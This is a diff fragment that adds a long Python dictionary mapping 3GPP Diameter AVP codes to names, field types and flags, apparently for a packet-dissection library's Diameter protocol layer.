+        1205: ('Additional-Type-Information', AVPV_StrLenField, 192),
+        1206: ('Content-Size', AVPV_Unsigned32, 192),
+        1207: ('Additional-Content-Information', AVPV_Grouped, 192),
+        1208: ('Addressee-Type', AVP_10415_1208, 192),
+        1209: ('Priority', AVP_10415_1209, 192),
+        1211: ('Message-Type', AVP_10415_1211, 192),
+        1212: ('Message-Size', AVPV_Unsigned32, 192),
+        1213: ('Message-Class', AVPV_Grouped, 192),
+        1214: ('Class-Identifier', AVP_10415_1214, 192),
+        1215: ('Token-Text', AVPV_StrLenField, 192),
+        1216: ('Delivery-Report-Requested', AVP_10415_1216, 192),
+        1217: ('Adaptations', AVP_10415_1217, 192),
+        1218: ('Applic-ID', AVPV_StrLenField, 192),
+        1219: ('Aux-Applic-Info', AVPV_StrLenField, 192),
+        1220: ('Content-Class', AVP_10415_1220, 192),
+        1221: ('DRM-Content', AVP_10415_1221, 192),
+        1222: ('Read-Reply-Report-Requested', AVP_10415_1222, 192),
+        1223: ('Reply-Applic-ID', AVPV_StrLenField, 192),
+        1224: ('File-Repair-Supported', AVP_10415_1224, 192),
+        1225: ('MBMS-User-Service-Type', AVP_10415_1225, 192),
+        1226: ('Unit-Quota-Threshold', AVPV_Unsigned32, 192),
+        1227: ('PDP-Address', AVPV_Address, 192),
+        1228: ('SGSN-Address', AVPV_Address, 192),
+        1229: ('PoC-Session-Id', AVPV_StrLenField, 192),
+        1230: ('Deferred-Location-Event-Type', AVPV_StrLenField, 192),
+        1231: ('LCS-APN', AVPV_StrLenField, 192),
+        1245: ('Positioning-Data', AVPV_StrLenField, 192),
+        1247: ('PDP-Context-Type', AVP_10415_1247, 192),
+        1248: ('MMBox-Storage-Requested', AVP_10415_1248, 192),
+        1250: ('Called-Asserted-Identity', AVPV_StrLenField, 192),
+        1251: ('Requested-Party-Address', AVPV_StrLenField, 192),
+        1252: ('PoC-User-Role', AVPV_Grouped, 192),
+        1253: ('PoC-User-Role-IDs', AVPV_StrLenField, 192),
+        1254: ('PoC-User-Role-info-Units', AVP_10415_1254, 192),
+        1255: ('Talk-Burst-Exchange', AVPV_Grouped, 192),
+        1258: ('Event-Charging-TimeStamp', AVPV_Time, 192),
+        1259: ('Participant-Access-Priority', AVP_10415_1259, 192),
+        1260: ('Participant-Group', AVPV_Grouped, 192),
+        1261: ('PoC-Change-Condition', AVP_10415_1261, 192),
+        1262: ('PoC-Change-Time', AVPV_Time, 192),
+        1263: ('Access-Network-Information', AVPV_OctetString, 192),
+        1264: ('Trigger', AVPV_Grouped, 192),
+        1265: ('Base-Time-Interval', AVPV_Unsigned32, 192),
+        1266: ('Envelope', AVPV_Grouped, 192),
+        1267: ('Envelope-End-Time', AVPV_Time, 192),
+        1268: ('Envelope-Reporting', AVP_10415_1268, 192),
+        1269: ('Envelope-Start-Time', AVPV_Time, 192),
+        1270: ('Time-Quota-Mechanism', AVPV_Grouped, 192),
+        1271: ('Time-Quota-Type', AVP_10415_1271, 192),
+        1272: ('Early-Media-Description', AVPV_Grouped, 192),
+        1273: ('SDP-TimeStamps', AVPV_Grouped, 192),
+        1274: ('SDP-Offer-Timestamp', AVPV_Time, 192),
+        1275: ('SDP-Answer-Timestamp', AVPV_Time, 192),
+        1276: ('AF-Correlation-Information', AVPV_Grouped, 192),
+        1277: ('PoC-Session-Initiation-Type', AVP_10415_1277, 192),
+        1278: ('Offline-Charging', AVPV_Grouped, 192),
+        1279: ('User-Participating-Type', AVP_10415_1279, 192),
+        1281: ('IMS-Communication-Service-Identifier', AVPV_StrLenField, 192),
+        1282: ('Number-Of-Received-Talk-Bursts', AVPV_Unsigned32, 192),
+        1283: ('Number-Of-Talk-Bursts', AVPV_Unsigned32, 192),
+        1284: ('Received-Talk-Burst-Time', AVPV_Unsigned32, 192),
+        1285: ('Received-Talk-Burst-Volume', AVPV_Unsigned32, 192),
+        1286: ('Talk-Burst-Time', AVPV_Unsigned32, 192),
+        1287: ('Talk-Burst-Volume', AVPV_Unsigned32, 192),
+        1288: ('Media-Initiator-Party', AVPV_StrLenField, 192),
+        1400: ('Subscription-Data', AVPV_Grouped, 192),
+        1401: ('Terminal-Information', AVPV_Grouped, 192),
+        1402: ('IMEI', AVPV_StrLenField, 192),
+        1403: ('Software-Version', AVPV_StrLenField, 192),
+        1404: ('QoS-Subscribed', AVPV_OctetString, 192),
+        1405: ('ULR-Flags', AVPV_Unsigned32, 192),
+        1406: ('ULA-Flags', AVPV_Unsigned32, 192),
+        1407: ('Visited-PLMN-Id', AVPV_OctetString, 192),
+        1408: ('Requested-EUTRAN-Authentication-Info', AVPV_Grouped, 192),
+        1409: ('GERAN-Authentication-Info', AVPV_Grouped, 192),
+        1410: ('Number-Of-Requested-Vectors', AVPV_Unsigned32, 192),
+        1411: ('Re-Synchronization-Info', AVPV_OctetString, 192),
+        1412: ('Immediate-Response-Preferred', AVPV_Unsigned32, 192),
+        1413: ('Authentication-Info', AVPV_Grouped, 192),
+        1414: ('E-UTRAN-Vector', AVPV_Grouped, 192),
+        1415: ('UTRAN-Vector', AVPV_Grouped, 192),
+        1416: ('GERAN-Vector', AVPV_Grouped, 192),
+        1417: ('Network-Access-Mode', AVP_10415_1417, 192),
+        1418: ('HPLMN-ODB', AVPV_Unsigned32, 192),
+        1419: ('Item-Number', AVPV_Unsigned32, 192),
+        1420: ('Cancellation-Type', AVP_10415_1420, 192),
+        1421: ('DSR-Flags', AVPV_Unsigned32, 192),
+        1422: ('DSA-Flags', AVPV_Unsigned32, 192),
+        1423: ('Context-Identifier', AVPV_Unsigned32, 192),
+        1424: ('Subscriber-Status', AVP_10415_1424, 192),
+        1425: ('Operator-Determined-Barring', AVPV_Unsigned32, 192),
+        1426: ('Access-Restriction-Data', AVPV_Unsigned32, 192),
+        1427: ('APN-OI-Replacement', AVPV_StrLenField, 192),
+        1428: ('All-APN-Configurations-Included-Indicator', AVP_10415_1428, 192),
+        1429: ('APN-Configuration-Profile', AVPV_Grouped, 192),
+        1430: ('APN-Configuration', AVPV_Grouped, 192),
+        1431: ('EPS-Subscribed-QoS-Profile', AVPV_Grouped, 192),
+        1432: ('VPLMN-Dynamic-Address-Allowed', AVP_10415_1432, 192),
+        1433: ('STN-SR', AVPV_OctetString, 192),
+        1434: ('Alert-Reason', AVP_10415_1434, 192),
+        1435: ('AMBR', AVPV_Grouped, 192),
+        1437: ('CSG-Id', AVPV_Unsigned32, 192),
+        1438: ('PDN-GW-Allocation-Type', AVP_10415_1438, 192),
+        1439: ('Expiration-Date', AVPV_Time, 192),
+        1440: ('RAT-Frequency-Selection-Priority-ID', AVPV_Unsigned32, 192),
+        1441: ('IDA-Flags', AVPV_Unsigned32, 192),
+        1442: ('PUA-Flags', AVPV_Unsigned32, 192),
+        1443: ('NOR-Flags', AVPV_Unsigned32, 192),
+        1444: ('User-Id', AVPV_StrLenField, 128),
+        1445: ('Equipment-Status', AVP_10415_1445, 192),
+        1446: ('Regional-Subscription-Zone-Code', AVPV_OctetString, 192),
+        1447: ('RAND', AVPV_OctetString, 192),
+        1448: ('XRES', AVPV_OctetString, 192),
+        1449: ('AUTN', AVPV_OctetString, 192),
+        1450: ('KASME', AVPV_OctetString, 192),
+        1452: ('Trace-Collection-Entity', AVPV_Address, 192),
+        1453: ('Kc', AVPV_OctetString, 192),
+        1454: ('SRES', AVPV_OctetString, 192),
+        1456: ('PDN-Type', AVP_10415_1456, 192),
+        1457: ('Roaming-Restricted-Due-To-Unsupported-Feature', AVP_10415_1457, 192),
+        1458: ('Trace-Data', AVPV_Grouped, 192),
+        1459: ('Trace-Reference', AVPV_OctetString, 192),
+        1462: ('Trace-Depth', AVP_10415_1462, 192),
+        1463: ('Trace-NE-Type-List', AVPV_OctetString, 192),
+        1464: ('Trace-Interface-List', AVPV_OctetString, 192),
+        1465: ('Trace-Event-List', AVPV_OctetString, 192),
+        1466: ('OMC-Id', AVPV_OctetString, 192),
+        1467: ('GPRS-Subscription-Data', AVPV_Grouped, 192),
+        1468: ('Complete-Data-List-Included-Indicator', AVP_10415_1468, 192),
+        1469: ('PDP-Context', AVPV_Grouped, 192),
+        1470: ('PDP-Type', AVPV_OctetString, 192),
+        1471: ('3GPP2-MEID', AVPV_OctetString, 192),
+        1472: ('Specific-APN-Info', AVPV_Grouped, 192),
+        1473: ('LCS-Info', AVPV_Grouped, 192),
+        1474: ('GMLC-Number', AVPV_OctetString, 192),
+        1475: ('LCS-PrivacyException', AVPV_Grouped, 192),
+        1476: ('SS-Code', AVPV_OctetString, 192),
+        1477: ('SS-Status', AVPV_OctetString, 192),
+        1478: ('Notification-To-UE-User', AVP_10415_1478, 192),
+        1479: ('External-Client', AVPV_Grouped, 192),
+        1480: ('Client-Identity', AVPV_OctetString, 192),
+        1481: ('GMLC-Restriction', AVP_10415_1481, 192),
+        1482: ('PLMN-Client', AVP_10415_1482, 192),
+        1483: ('Service-Type', AVPV_Grouped, 192),
+        1484: ('ServiceTypeIdentity', AVPV_Unsigned32, 192),
+        1485: ('MO-LR', AVPV_Grouped, 192),
+        1486: ('Teleservice-List', AVPV_Grouped, 192),
+        1487: ('TS-Code', AVPV_OctetString, 192),
+        1488: ('Call-Barring-Info', AVPV_Grouped, 192),
+        1489: ('SGSN-Number', AVPV_OctetString, 192),
+        1490: ('IDR-Flags', AVPV_Unsigned32, 192),
+        1491: ('ICS-Indicator', AVP_10415_1491, 128),
+        1492: ('IMS-Voice-Over-PS-Sessions-Supported', AVP_10415_1492, 128),
+        1493: ('Homogeneous-Support-of-IMS-Voice-Over-PS-Sessions', AVP_10415_1493, 128),
+        1494: ('Last-UE-Activity-Time', AVPV_Time, 128),
+        1495: ('EPS-User-State', AVPV_Grouped, 128),
+        1496: ('EPS-Location-Information', AVPV_Grouped, 128),
+        1497: ('MME-User-State', AVPV_Grouped, 128),
+        1498: ('SGSN-User-State', AVPV_Grouped, 128),
+        1499: ('User-State', AVP_10415_1499, 128),
+        1500: ('Non-3GPP-User-Data', AVPV_Grouped, 192),
+        1501: ('Non-3GPP-IP-Access', AVP_10415_1501, 192),
+        1502: ('Non-3GPP-IP-Access-APN', AVP_10415_1502, 192),
+        1503: ('AN-Trusted', AVP_10415_1503, 192),
+        1504: ('ANID', AVPV_StrLenField, 192),
+        1505: ('Trace-Info', AVPV_Grouped, 128),
+        1506: ('MIP-FA-RK', AVPV_OctetString, 192),
+        1507: ('MIP-FA-RK-SPI', AVPV_Unsigned32, 192),
+        1508: ('PPR-Flags', AVPV_Unsigned32, 128),
+        1509: ('WLAN-Identifier', AVPV_Grouped, 128),
+        1510: ('TWAN-Access-Info', AVPV_Grouped, 128),
+        1511: ('Access-Authorization-Flags', AVPV_Unsigned32, 128),
+        1512: ('TWAN-Default-APN-Context-Id', AVPV_Unsigned32, 128),
+        1515: ('Trust-Relationship-Update', AVP_10415_1515, 128),
+        1516: ('Full-Network-Name', AVPV_OctetString, 128),
+        1517: ('Short-Network-Name', AVPV_OctetString, 128),
+        1518: ('AAA-Failure-Indication', AVPV_Unsigned32, 128),
+        1519: ('Transport-Access-Type', AVP_10415_1519, 128),
+        1520: ('DER-Flags', AVPV_Unsigned32, 128),
+        1521: ('DEA-Flags', AVPV_Unsigned32, 128),
+        1522: ('RAR-Flags', AVPV_Unsigned32, 128),
+        1523: ('DER-S6b-Flags', AVPV_Unsigned32, 128),
+        1524: ('SSID', AVPV_StrLenField, 128),
+        1525: ('HESSID', AVPV_StrLenField, 128),
+        1526: ('Access-Network-Info', AVPV_Grouped, 128),
+        1527: ('TWAN-Connection-Mode', AVPV_Unsigned32, 128),
+        1528: ('TWAN-Connectivity-Parameters', AVPV_Grouped, 128),
+        1529: ('Connectivity-Flags', AVPV_Unsigned32, 128),
+        1530: ('TWAN-PCO', AVPV_OctetString, 128),
+        1531: ('TWAG-CP-Address', AVPV_Address, 128),
+        1532: ('TWAG-UP-Address', AVPV_StrLenField, 128),
+        1533: ('TWAN-S2a-Failure-Cause', AVPV_Unsigned32, 128),
+        1534: ('SM-Back-Off-Timer', AVPV_Unsigned32, 128),
+        1535: ('WLCP-Key', AVPV_OctetString, 128),
+        1600: ('Information', AVPV_Grouped, 128),
+        1601: ('SGSN-Location-Information', AVPV_Grouped, 128),
+        1602: ('E-UTRAN-Cell-Global-Identity', AVPV_OctetString, 128),
+        1603: ('Tracking-Area-Identity', AVPV_OctetString, 128),
+        1604: ('Cell-Global-Identity', AVPV_OctetString, 128),
+        1605: ('Routing-Area-Identity', AVPV_OctetString, 128),
+        1606: ('Location-Area-Identity', AVPV_OctetString, 128),
+        1607: ('Service-Area-Identity', AVPV_OctetString, 128),
+        1608: ('Geographical-Information', AVPV_OctetString, 128),
+        1609: ('Geodetic-Information', AVPV_OctetString, 128),
+        1610: ('Current-Location-Retrieved', AVP_10415_1610, 128),
+        1611: ('Age-Of-Location-Information', AVPV_Unsigned32, 128),
+        1612: ('Active-APN', AVPV_Grouped, 128),
+        1613: ('SIPTO-Permission', AVP_10415_1613, 128),
+        1614: ('Error-Diagnostic', AVP_10415_1614, 128),
+        1615: ('UE-SRVCC-Capability', AVP_10415_1615, 128),
+        1616: ('MPS-Priority', AVPV_Unsigned32, 128),
+        1617: ('VPLMN-LIPA-Allowed', AVP_10415_1617, 128),
+        1618: ('LIPA-Permission', AVP_10415_1618, 128),
+        1619: ('Subscribed-Periodic-RAU-TAU-Timer', AVPV_Unsigned32, 128),
+        1621: ('Ext-PDP-Address', AVPV_Address, 128),
+        1622: ('MDT-Configuration', AVPV_Grouped, 128),
+        1623: ('Job-Type', AVP_10415_1623, 128),
+        1624: ('Area-Scope', AVPV_Grouped, 128),
+        1625: ('List-Of-Measurements', AVPV_Unsigned32, 128),
+        1626: ('Reporting-Trigger', AVPV_Unsigned32, 128),
+        1627: ('Report-Interval', AVP_10415_1627, 128),
+        1628: ('Report-Amount', AVP_10415_1628, 128),
+        1629: ('Event-Threshold-RSRP', AVPV_Unsigned32, 128),
+        1631: ('Logging-Interval', AVP_10415_1631, 128),
+        1632: ('Logging-Duration', AVP_10415_1632, 128),
+        1633: ('Relay-Node-Indicator', AVP_10415_1633, 128),
+        1634: ('MDT-User-Consent', AVP_10415_1634, 128),
+        1635: ('PUR-Flags', AVPV_Unsigned32, 128),
+        1636: ('Subscribed-VSRVCC', AVP_10415_1636, 128),
+        1638: ('CLR-Flags', AVPV_Unsigned32, 128),
+        1639: ('UVR-Flags', AVPV_Unsigned32, 192),
+        1640: ('UVA-Flags', AVPV_Unsigned32, 192),
+        1641: ('VPLMN-CSG-Subscription-Data', AVPV_Grouped, 192),
+        1642: ('Time-Zone', AVPV_StrLenField, 128),
+        1643: ('A-MSISDN', AVP_10415_1643, 128),
+        1645: ('MME-Number-for-MT-SMS', AVPV_OctetString, 128),
+        1648: ('SMS-Register-Request', AVP_10415_1648, 128),
+        1649: ('Local-Time-Zone', AVPV_Grouped, 128),
+        1650: ('Daylight-Saving-Time', AVP_10415_1650, 128),
+        1654: ('Subscription-Data-Flags', AVPV_Unsigned32, 128),
+        1659: ('Positioning-Method', AVPV_OctetString, 128),
+        1660: ('Measurement-Quantity', AVPV_OctetString, 128),
+        1661: ('Event-Threshold-Event-1F', AVPV_Integer32, 128),
+        1662: ('Event-Threshold-Event-1I', AVPV_Integer32, 128),
+        1663: ('Restoration-Priority', AVPV_Unsigned32, 128),
+        1664: ('SGs-MME-Identity', AVPV_StrLenField, 128),
+        1665: ('SIPTO-Local-Network-Permission', AVPV_Unsigned32, 128),
+        1666: ('Coupled-Node-Diameter-ID', AVPV_StrLenField, 128),
+        1667: ('WLAN-offloadability', AVPV_Grouped, 128),
+        1668: ('WLAN-offloadability-EUTRAN', AVPV_Unsigned32, 128),
+        1669: ('WLAN-offloadability-UTRAN', AVPV_Unsigned32, 128),
+        1670: ('Reset-ID', AVPV_OctetString, 128),
+        1671: ('MDT-Allowed-PLMN-Id', AVPV_OctetString, 128),
+        2000: ('SMS-Information', AVPV_Grouped, 192),
+        2001: ('Data-Coding-Scheme', AVPV_Integer32, 192),
+        2002: ('Destination-Interface', AVPV_Grouped, 192),
+        2003: ('Interface-Id', AVPV_StrLenField, 192),
+        2004: ('Interface-Port', AVPV_StrLenField, 192),
+        2005: ('Interface-Text', AVPV_StrLenField, 192),
+        2006: ('Interface-Type', AVP_10415_2006, 192),
+        2007: ('SM-Message-Type', AVP_10415_2007, 192),
+        2008: ('Originator-SCCP-Address', AVPV_Address, 192),
+        2009: ('Originator-Interface', AVPV_Grouped, 192),
+        2010: ('Recipient-SCCP-Address', AVPV_Address, 192),
+        2011: ('Reply-Path-Requested', AVP_10415_2011, 192),
+        2012: ('SM-Discharge-Time', AVPV_Time, 192),
+        2013: ('SM-Protocol-ID', AVPV_OctetString, 192),
+        2015: ('SM-User-Data-Header', AVPV_OctetString, 192),
+        2016: ('SMS-Node', AVP_10415_2016, 192),
+        2018: ('Client-Address', AVPV_Address, 192),
+        2019: ('Number-Of-Messages-Sent', AVPV_Unsigned32, 192),
+        2021: ('Remaining-Balance', AVPV_Grouped, 192),
+        2022: ('Refund-Information', AVPV_OctetString, 192),
+        2023: ('Carrier-Select-Routing-Information', AVPV_StrLenField, 192),
+        2024: ('Number-Portability-Routing-Information', AVPV_StrLenField, 192),
+        2025: ('PoC-Event-Type', AVP_10415_2025, 192),
+        2026: ('Recipient-Info', AVPV_Grouped, 192),
+        2027: ('Originator-Received-Address', AVPV_Grouped, 192),
+        2028: ('Recipient-Received-Address', AVPV_Grouped, 192),
+        2029: ('SM-Service-Type', AVP_10415_2029, 192),
+        2030: ('MMTel-Information', AVPV_Grouped, 192),
+        2031: ('MMTel-SService-Type', AVPV_Unsigned32, 192),
+        2032: ('Service-Mode', AVPV_Unsigned32, 192),
+        2033: ('Subscriber-Role', AVP_10415_2033, 192),
+        2034: ('Number-Of-Diversions', AVPV_Unsigned32, 192),
+        2035: ('Associated-Party-Address', AVPV_StrLenField, 192),
+        2036: ('SDP-Type', AVP_10415_2036, 192),
+        2037: ('Change-Condition', AVPV_Integer32, 192),
+        2038: ('Change-Time', AVPV_Time, 192),
+        2039: ('Diagnostics', AVPV_Integer32, 192),
+        2040: ('Service-Data-Container', AVPV_Grouped, 192),
+        2041: ('Start-Time', AVPV_Time, 192),
+        2042: ('Stop-Time', AVPV_Time, 192),
+        2043: ('Time-First-Usage', AVPV_Time, 192),
+        2044: ('Time-Last-Usage', AVPV_Time, 192),
+        2045: ('Time-Usage', AVPV_Unsigned32, 192),
+        2046: ('Traffic-Data-Volumes', AVPV_Grouped, 192),
+        2047: ('Serving-Node-Type', AVP_10415_2047, 192),
+        2048: ('Supplementary-Service', AVPV_Grouped, 192),
+        2049: ('Participant-Action-Type', AVP_10415_2049, 192),
+        2050: ('PDN-Connection-Charging-ID', AVPV_Unsigned32, 192),
+        2051: ('Dynamic-Address-Flag', AVP_10415_2051, 192),
+        2052: ('Accumulated-Cost', AVPV_Grouped, 192),
+        2053: ('AoC-Cost-Information', AVPV_Grouped, 192),
+        2056: ('Current-Tariff', AVPV_Grouped, 192),
+        2058: ('Rate-Element', AVPV_Grouped, 192),
+        2059: ('Scale-Factor', AVPV_Grouped, 192),
+        2060: ('Tariff-Information', AVPV_Grouped, 192),
+        2061: ('Unit-Cost', AVPV_Grouped, 192),
+        2062: ('Incremental-Cost', AVPV_Grouped, 192),
+        2063: ('Local-Sequence-Number', AVPV_Unsigned32, 192),
+        2064: ('Node-Id', AVPV_StrLenField, 192),
+        2065: ('SGW-Change', AVP_10415_2065, 192),
+        2066: ('Charging-Characteristics-Selection-Mode', AVP_10415_2066, 192),
+        2067: ('SGW-Address', AVPV_Address, 192),
+        2068: ('Dynamic-Address-Flag-Extension', AVP_10415_2068, 192),
+        2118: ('Charge-Reason-Code', AVP_10415_2118, 192),
+        2200: ('Subsession-Decision-Info', AVPV_Grouped, 192),
+        2201: ('Subsession-Enforcement-Info', AVPV_Grouped, 192),
+        2202: ('Subsession-Id', AVPV_Unsigned32, 192),
+        2203: ('Subsession-Operation', AVP_10415_2203, 192),
+        2204: ('Multiple-BBERF-Action', AVP_10415_2204, 192),
+        2206: ('DRA-Deployment', AVP_10415_2206, 128),
+        2208: ('DRA-Binding', AVP_10415_2208, 128),
+        2301: ('SIP-Request-Timestamp-Fraction', AVPV_Unsigned32, 192),
+        2302: ('SIP-Response-Timestamp-Fraction', AVPV_Unsigned32, 192),
+        2303: ('Online-Charging-Flag', AVP_10415_2303, 192),
+        2304: ('CUG-Information', AVPV_OctetString, 192),
+        2305: ('Real-Time-Tariff-Information', AVPV_Grouped, 192),
+        2306: ('Tariff-XML', AVPV_StrLenField, 192),
+        2307: ('MBMS-GW-Address', AVPV_Address, 192),
+        2308: ('IMSI-Unauthenticated-Flag', AVP_10415_2308, 192),
+        2309: ('Account-Expiration', AVPV_Time, 192),
+        2310: ('AoC-Format', AVP_10415_2310, 192),
+        2311: ('AoC-Service', AVPV_Grouped, 192),
+        2312: ('AoC-Service-Obligatory-Type', AVP_10415_2312, 192),
+        2313: ('AoC-Service-Type', AVP_10415_2313, 192),
+        2314: ('AoC-Subscription-Information', AVPV_Grouped, 192),
+        2315: ('Preferred-AoC-Currency', AVPV_Unsigned32, 192),
+        2317: ('CSG-Access-Mode', AVP_10415_2317, 192),
+        2318: ('CSG-Membership-Indication', AVP_10415_2318, 192),
+        2319: ('User-CSG-Information', AVPV_Grouped, 192),
+        2320: ('Outgoing-Session-Id', AVPV_StrLenField, 192),
+        2321: ('Initial-IMS-Charging-Identifier', AVPV_StrLenField, 192),
+        2322: ('IMS-Emergency-Indicator', AVP_10415_2322, 192),
+        2323: ('MBMS-Charged-Party', AVP_10415_2323, 192),
+        2400: ('LMSI', AVPV_OctetString, 192),
+        2401: ('Serving-Node', AVPV_Grouped, 192),
+        2402: ('MME-Name', AVPV_StrLenField, 192),
+        2403: ('MSC-Number', AVPV_OctetString, 192),
+        2404: ('LCS-Capabilities-Sets', AVPV_Unsigned32, 192),
+        2405: ('GMLC-Address', AVPV_Address, 192),
+        2406: ('Additional-Serving-Node', AVPV_Grouped, 192),
+        2407: ('PPR-Address', AVPV_Address, 192),
+        2408: ('MME-Realm', AVPV_StrLenField, 128),
+        2409: ('SGSN-Name', AVPV_StrLenField, 128),
+        2410: ('SGSN-Realm', AVPV_StrLenField, 128),
+        2411: ('RIA-Flags', AVPV_Unsigned32, 128),
+        2500: ('SLg-Location-Type', AVP_10415_2500, 192),
+        2501: ('LCS-EPS-Client-Name', AVPV_Grouped, 192),
+        2502: ('LCS-Requestor-Name', AVPV_Grouped, 192),
+        2503: ('LCS-Priority', AVPV_Unsigned32, 192),
+        2504: ('LCS-QoS', AVPV_Grouped, 192),
+        2505: ('Horizontal-Accuracy', AVPV_Unsigned32, 192),
+        2506: ('Vertical-Accuracy', AVPV_Unsigned32, 192),
+        2507: ('Vertical-Requested', AVP_10415_2507, 192),
+        2508: ('Velocity-Requested', AVP_10415_2508, 192),
+        2509: ('Response-Time', AVP_10415_2509, 192),
+        2510: ('Supported-GAD-Shapes', AVPV_Unsigned32, 192),
+        2511: ('LCS-Codeword', AVPV_StrLenField, 192),
+        2512: ('LCS-Privacy-Check', AVP_10415_2512, 192),
+        2513: ('Accuracy-Fulfilment-Indicator', AVP_10415_2513, 192),
+        2514: ('Age-Of-Location-Estimate', AVPV_Unsigned32, 192),
+        2515: ('Velocity-Estimate', AVPV_OctetString, 192),
+        2516: ('EUTRAN-Positioning-Data', AVPV_OctetString, 192),
+        2517: ('ECGI', AVPV_OctetString, 192),
+        2518: ('Location-Event', AVP_10415_2518, 192),
+        2519: ('Pseudonym-Indicator', AVP_10415_2519, 192),
+        2520: ('LCS-Service-Type-ID', AVPV_Unsigned32, 192),
+        2523: ('LCS-QoS-Class', AVP_10415_2523, 192),
+        2524: ('GERAN-Positioning-Info', AVPV_Grouped, 128),
+        2525: ('GERAN-Positioning-Data', AVPV_OctetString, 128),
+        2526: ('GERAN-GANSS-Positioning-Data', AVPV_OctetString, 128),
+        2527: ('UTRAN-Positioning-Info', AVPV_Grouped, 128),
+        2528: ('UTRAN-Positioning-Data', AVPV_OctetString, 128),
+        2529: ('UTRAN-GANSS-Positioning-Data', AVPV_OctetString, 128),
+        2530: ('LRR-Flags', AVPV_Unsigned32, 128),
+        2531: ('LCS-Reference-Number', AVPV_OctetString, 128),
+        2532: ('Deferred-Location-Type', AVPV_Unsigned32, 128),
+        2533: ('Area-Event-Info', AVPV_Grouped, 128),
+        2534: ('Area-Definition', AVPV_Grouped, 128),
+        2535: ('Area', AVPV_Grouped, 128),
+        2536: ('Area-Type', AVPV_Unsigned32, 128),
+        2537: ('Area-Identification', AVPV_Grouped, 128),
+        2538: ('Occurrence-Info', AVP_10415_2538, 128),
+        2539: ('Interval-Time', AVPV_Unsigned32, 128),
+        2540: ('Periodic-LDR-Information', AVPV_Grouped, 128),
+        2541: ('Reporting-Amount', AVPV_Unsigned32, 128),
+        2542: ('Reporting-Interval', AVPV_Unsigned32, 128),
+        2543: ('Reporting-PLMN-List', AVPV_Grouped, 128),
+        2544: ('PLMN-ID-List', AVPV_Grouped, 128),
+        2545: ('PLR-Flags', AVPV_Unsigned32, 128),
+        2546: ('PLA-Flags', AVPV_Unsigned32, 128),
+        2547: ('Deferred-MT-LR-Data', AVPV_Grouped, 128),
+        2548: ('Termination-Cause', AVPV_Unsigned32, 128),
+        2549: ('LRA-Flags', AVPV_Unsigned32, 128),
+        2550: ('Periodic-Location-Support-Indicator', AVP_10415_2550, 128),
+        2551: ('Prioritized-List-Indicator', AVP_10415_2551, 128),
+        2552: ('ESMLC-Cell-Info', AVPV_Grouped, 128),
+        2553: ('Cell-Portion-ID', AVPV_Unsigned32, 128),
+        2554: ('1xRTT-RCID', AVPV_OctetString, 128),
+        2601: ('IMS-Application-Reference-Identifier', AVPV_StrLenField, 192),
+        2602: ('Low-Priority-Indicator', AVP_10415_2602, 192),
+        2604: ('Local-GW-Inserted-Indication', AVP_10415_2604, 192),
+        2605: ('Transcoder-Inserted-Indication', AVP_10415_2605, 192),
+        2606: ('PDP-Address-Prefix-Length', AVPV_Unsigned32, 192),
+        2701: ('Transit-IOI-List', AVPV_StrLenField, 192),
+        2702: ('AS-Code', AVP_10415_2702, 192),
+        2704: ('NNI-Type', AVP_10415_2704, 192),
+        2705: ('Neighbour-Node-Address', AVPV_Address, 192),
+        2706: ('Relationship-Mode', AVP_10415_2706, 192),
+        2707: ('Session-Direction', AVP_10415_2707, 192),
+        2708: ('From-Address', AVPV_StrLenField, 192),
+        2709: ('Access-Transfer-Information', AVPV_Grouped, 192),
+        2710: ('Access-Transfer-Type', AVP_10415_2710, 192),
+        2711: ('Related-IMS-Charging-Identifier', AVPV_StrLenField, 192),
+        2712: ('Related-IMS-Charging-Identifier-Node', AVPV_Address, 192),
+        2713: ('IMS-Visited-Network-Identifier', AVPV_StrLenField, 192),
+        2714: ('TWAN-User-Location-Info', AVPV_Grouped, 192),
+        2716: ('BSSID', AVPV_StrLenField, 192),
+        2717: ('TAD-Identifier', AVP_10415_2717, 192),
+        2802: ('TDF-Application-Instance-Identifier', AVPV_OctetString, 128),
+        2804: ('HeNB-Local-IP-Address', AVPV_Address, 128),
+        2805: ('UE-Local-IP-Address', AVPV_Address, 128),
+        2806: ('UDP-Source-Port', AVPV_Unsigned32, 128),
+        2809: ('Mute-Notification', AVP_10415_2809, 128),
+        2810: ('Monitoring-Time', AVPV_Time, 128),
+        2811: ('AN-GW-Status', AVP_10415_2811, 128),
+        2812: ('User-Location-Info-Time', AVPV_Time, 128),
+        2816: ('Default-QoS-Information', AVPV_Grouped, 128),
+        2817: ('Default-QoS-Name', AVPV_StrLenField, 128),
+        2818: ('Conditional-APN-Aggregate-Max-Bitrate', AVPV_Grouped, 128),
+        2819: ('RAN-NAS-Release-Cause', AVPV_OctetString, 128),
+        2820: ('Presence-Reporting-Area-Elements-List', AVPV_OctetString, 128),
+        2821: ('Presence-Reporting-Area-Identifier', AVPV_OctetString, 128),
+        2822: ('Presence-Reporting-Area-Information', AVPV_Grouped, 128),
+        2823: ('Presence-Reporting-Area-Status', AVPV_Unsigned32, 128),
+        2824: ('NetLoc-Access-Support', AVPV_Unsigned32, 128),
+        2825: ('Fixed-User-Location-Info', AVPV_Grouped, 128),
+        2826: ('PCSCF-Restoration-Indication', AVPV_Unsigned32, 128),
+        2827: ('IP-CAN-Session-Charging-Scope', AVPV_Unsigned32, 128),
+        2828: ('Monitoring-Flags', AVPV_Unsigned32, 128),
+        2901: ('Policy-Counter-Identifier', AVPV_StrLenField, 192),
+        2902: ('Policy-Counter-Status', AVPV_StrLenField, 192),
+        2903: ('Policy-Counter-Status-Report', AVPV_Grouped, 192),
+        2904: ('SL-Request-Type', AVP_10415_2904, 192),
+        2905: ('Pending-Policy-Counter-Information', AVPV_Grouped, 192),
+        2906: ('Pending-Policy-Counter-Change-Time', AVPV_Time, 192),
+        3401: ('Reason-Header', AVPV_StrLenField, 192),
+        3402: ('Instance-Id', AVPV_StrLenField, 192),
+        3403: ('Route-Header-Received', AVPV_StrLenField, 192),
+        3404: ('Route-Header-Transmitted', AVPV_StrLenField, 192),
+        3405: ('SM-Device-Trigger-Information', AVPV_Grouped, 192),
+        3406: ('MTC-IWF-Address', AVPV_Address, 192),
+        3407: ('SM-Device-Trigger-Indicator', AVP_10415_3407, 192),
+        3408: ('SM-Sequence-Number', AVPV_Unsigned32, 192),
+        3409: ('SMS-Result', AVPV_Unsigned32, 192),
+        3410: ('VCS-Information', AVPV_Grouped, 192),
+        3411: ('Basic-Service-Code', AVPV_Grouped, 192),
+        3412: ('Bearer-Capability', AVPV_OctetString, 192),
+        3413: ('Teleservice', AVPV_OctetString, 192),
